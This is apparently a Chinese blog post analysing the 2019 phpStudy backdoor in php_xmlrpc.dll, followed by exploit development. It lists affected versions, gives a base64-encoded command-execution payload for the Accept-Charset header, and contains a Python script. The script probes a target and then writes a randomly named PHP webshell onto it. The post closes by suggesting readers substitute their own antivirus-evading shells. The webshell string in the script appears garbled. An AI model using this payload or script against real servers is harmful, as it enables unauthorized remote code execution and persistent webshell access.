phpstudy后门POC分析和EXP开发

POC

2019年9月20日，网上传出 phpStudy 软件存在后门，随后作者立即发布声明进行澄清，其真实情况是该软件官网于2016年被非法入侵，程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门，可以正向执行任意php代码。

影响版本：

• phpStudy2016-php-5.2.17
• phpStudy2016-php-5.4.45
• phpStudy2018-php-5.2.17
• phpStudy2018-php-5.4.45

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后门存在于*\ext\php_xmlrpc.dll，用记事本打开搜索eval，如下图所示则又可能存在后门

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抓包，添加Accept-charset，后面对rce进行base64加密

Accept-charset: c3lzdGVtKCJ3aG9hbWkiKTs=

注意修改Accept-Encoding: gzip,deflate，deflate前的空格需要删除

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EXP

很自然的就能写出相应exp(github)

import base64
import random
import requests
import string
head={
    'Accept-Encoding':'gzip,deflate',
    'Accept-Charset':'c3lzdGVtKCJlY2hvIGhhaGExMjMiKTs=' # echo haha123
}

def get_standard_url(url):
    if url[:7] != "http://" or url[:8] != "https://":
        url = "http://"+url
        return url
    else:
        return False

def exp():
    head["Accept-Charset"] = "c3lzdGVtKCJjaGRpciIpOw==" # system("chdir")
    res1 = requests.get(url=url,headers=head,timeout=5,allow_redirects=False)
    path = str(res1.text.split("\n",1)[0]).strip()

    shell_name = ''.join(random.sample(string.ascii_letters+string.digits,8))
    key = ''.join(random.sample(string.ascii_letters+string.digits,4))
    def write_shell(version_path):
        exp = f"fputs(fopen('{path}\{version_path}\WWW\{shell_name}.php','w'),'{key}]); ?>');"
        exp_encode = str(base64.b64encode(exp.encode('utf-8'))).split("'",2)[1]
        head['Accept-Charset'] = exp_encode
        requests.get(url=url, headers=head, timeout=5, allow_redirects=False)
    try:
        write_shell('phpStudy')
    except:
        write_shell('PHPTutorial')

    return f"[!] Shell_name={shell_name}.php, Key={key}"

if __name__=="__main__":
    url = input("[+] Target: ")
    url = get_standard_url(url)
    try:
        res = requests.get(url=url, headers=head, timeout=5, allow_redirects=False)
        if res.status_code == 200 and res.text[:7] == "haha123":
            print("[*] POC EXISTS.")
            print(exp())
        else:
            print("[-] POC NOT EXISTS.")
    except:
        print("[!] ERROR!\n")

注意，这里没有对shell做免杀，可把自己收藏的shell做外部导入替换